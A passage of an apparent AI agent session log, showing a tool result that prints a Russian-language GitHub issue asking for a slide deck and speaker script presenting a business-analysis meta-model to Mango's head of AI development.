4) \u0441 \u0435\u0434\u0438\u043d\u044b\u043c \u044f\u0434\u0440\u043e\u043c-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c.\\n7. **\u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435:** \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043a\u0430\u043a \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n\\n*\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u0441\u043b\u0430\u0439\u0434\u0443:* \u041d\u043e\u043c\u0435\u0440, \u0435\u043c\u043a\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a-\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, 3-5 \u043a\u0440\u0430\u0442\u043a\u0438\u0445 \u0442\u0435\u0437\u0438\u0441\u043e\u0432 (bullet points), \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430, **\u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f** (Midjourney/DALL-E \u0441\u0442\u0438\u043b\u044c), \u043e\u0442\u0440\u0430\u0436\u0430\u044e\u0449\u0438\u0439 \u0441\u0443\u0442\u044c \u0441\u043b\u0430\u0439\u0434\u0430.\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 2: \u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0414\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430)**\\n\u0420\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044b\u0439, \u043d\u043e \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0434\u043b\u044f \u0443\u0441\u0442\u043d\u043e\u0433\u043e \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u043b\u0430\u0439\u0434\u0430. \u0414\u043e\u043b\u0436\u0435\u043d \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c \\\"\u043f\u043e\u0447\u0435\u043c\u0443\\\" \u0438 \\\"\u043a\u0430\u043a\\\", \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0430\u0439\u0434\u044b \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043c\u043e\u0441\u0442\u0438\u043a\u0430\u043c\u0438, \u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043a\u0446\u0435\u043d\u0442 \u043d\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043e\u043f\u044b\u0442\u0435 (60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432 `mango_ba_prompts`) \u0438 \u043e\u0442\u0432\u0435\u0447\u0430\u0442\u044c \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\\n\\n**\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 (Definition of Done):**\\n- [ ] \u0421\u043e\u0437\u0434\u0430\u043d \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1 (\u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438) \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 Markdown, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432\u0441\u0435 7 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u0445 \u0431\u043b\u043e\u043a\u043e\u0432, \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0434\u043b\u044f \u0432\u0438\u0437\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0441\u0442\u0440\u043e\u0433\u043e\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u043e\u0432 \u043b\u0430\u043a\u043e\u043d\u0438\u0447\u043d\u043e\u0441\u0442\u0438.\\n- [ ] \u0421\u043e\u0437\u0434\u0430\u043d \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 2 (\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430), \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0441 \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c 1.\\n- [ ] \u0412 \u0442\u0435\u043a\u0441\u0442\u0430\u0445 \u044f\u0432\u043d\u043e \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u044f\u0437\u044c \u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c (\u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0425\u0430\u0431\u0430).\\n- [ ] \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043b\u0443\u0447\u0448\u0438\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 (\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \\\"\u0432\u043e\u0434\u044b\\\", \u0444\u043e\u043a\u0443\u0441 \u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043b\u043e\u0437\u0443\u043d\u0433\u0430\u0445).\\n- [ ] \u0412\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u043b\u043d\u044b\u043c\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 URL.\\n- [ ] \u0417\u0430\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441 `review`.\\n\\n**\u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 (\u0412\u0430\u0436\u043d\u043e):**\\n\u041f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0434\u0430\u0435\u0442 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u043c\u044b. **\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435** \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u043a\u0430\u043a\u0438\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432, \u043a\u0430\u043a \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0434\u043b\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u043a \u0438 \u043a\u0430\u043a \u0432\u044b\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0440\u0440\u0430\u0442\u0438\u0432 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438. \u041c\u0438\u043a\u0440\u043e\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043b\u0443\u0447\u0448\u0438\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f C-level/Head of AI \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438. \u041c\u044b \u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u043c \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u043f\u043e\u0434 \u043d\u0430\u0448\u0443 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0443.\",\n[2026-09-29T07:46:50.347Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:50.347Z] [INFO]       }\n[2026-09-29T07:46:50.347Z] [INFO]     ]\n[2026-09-29T07:46:50.347Z] [INFO]   },\n[2026-09-29T07:46:50.347Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:50.347Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:50.347Z] [INFO]   \"uuid\": \"af349380-8da1-4a8f-bfd3-13988456d286\",\n[2026-09-29T07:46:50.347Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:50.028Z\",\n[2026-09-29T07:46:50.347Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:50.347Z] [INFO]     \"stdout\": \"title: \\\"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\\\"\\n---\\nlabels: \\\"creative, documentation, presentation, executive-summary\\\"\\n---\\n\\n**Operating Mode:** `Creative` \u00b7 **Task Type:** `Documentation/Presentation` \u00b7 **Lead:** Tech Lead / Architect\\n\\n**User Story:**\\n\u041a\u0430\u043a \u0444\u0430\u0443\u043d\u0434\u0435\u0440, \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0444\u0435\u0441\u0441\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u043d\u0435\u0441\u0442\u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0443\u044e \u0437\u0440\u0435\u043b\u043e\u0441\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0435\u0433\u043e \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u044f \u043e\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u0432 \u0438 \u0447\u0435\u0442\u043a\u0438\u0439 \u043f\u043b\u0430\u043d \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043e\u043f\u0438\u0440\u0430\u044f\u0441\u044c \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u043f\u044b\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n**\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b (SSOT):**\\n\u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c **\u043e\u0431\u044f\u0437\u0430\u043d** \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u0440\u0430\u0436\u0430\u043b\u0430 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u0443\u044e \u0442\u0435\u043e\u0440\u0438\u044e, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e:\\n1. **\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0425\u0430\u0431\u0430:** \\n   - `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process` (\u0432\u043a\u043b\u044e\u0447\u0430\u044f `docs/adr/`, `docs/analysis/`, `meta-model/`).\\n   - \u041d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u0430\u0443\u0434\u0438\u0442\u044b: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md`\\n2. **\u041f\u0440\u0435\u0434\u044b\u0441\u0442\u043e\u0440\u0438\u044f \u0438 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 (\u0421 \u0447\u0435\u0433\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438):**\\n   - \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 `https://github.com/G-Ivan-A/mango_ba_prompts` (\u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 60 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0437\u0430\u0434\u0430\u0447, \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043e\u0442 \u0445\u0430\u043e\u0442\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438).\\n   - \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0411\u0410 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/issue-639-405767e7672e/research/ba-requirements\\n- \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044f\u0441\u044c \u043f\u043e \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\\n\\n**\u0426\u0435\u043b\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b (\u0427\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442\u043e):**\\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0442\u044c **\u0434\u0432\u0430 \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430**, \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u044f \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0443\u0447\u0448\u0438\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438\u043d\u0446\u0438\u043f Assertion-Evidence, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0437\u043c \u0442\u0435\u043a\u0441\u0442\u0430, \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430).\\n\\n**\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 1: \u0428\u0430\u0431\u043b\u043e\u043d \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 (\u0421\u043b\u0430\u0439\u0434\u044b)**\\n\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 (\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u0442\u043e\u0447\u043d\u044b\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0430\u043c \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043e\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f):\\n1. **\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f:** \u0411\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 (\u0432\u044b\u0441\u043e\u043a\u0430\u044f \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c, \u043a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441).\\n2. **\u0411\u043e\u043b\u044c:** \u0420\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0422\u0417, \u0440\u0443\u0447\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0440\u0438\u0441\u043a \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443.\\n3. **\u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438:** \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442.\\n4. **\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 (\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u2192 \u0420\u0435\u0448\u0435\u043d\u0438\u0435):** \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0418\u0418. \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \\\"\u043c\u044b\u0441\u043b\u044c\\\", \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0438\u0445 \u0432 \u0436\u0435\u0441\u0442\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b (fail-closed \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f).\\n5. **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c (\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440):** \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u2192 \u0421\u0432\u0435\u0440\u043a\u0430 \u0441 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439/\u043a\u0435\u0439\u0441\u0430\u043c\u0438 \u2192 \u041c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2192 \u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 (G-human) \u2192 \u0410\u0432\u0442\u043e\u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043b\u044f 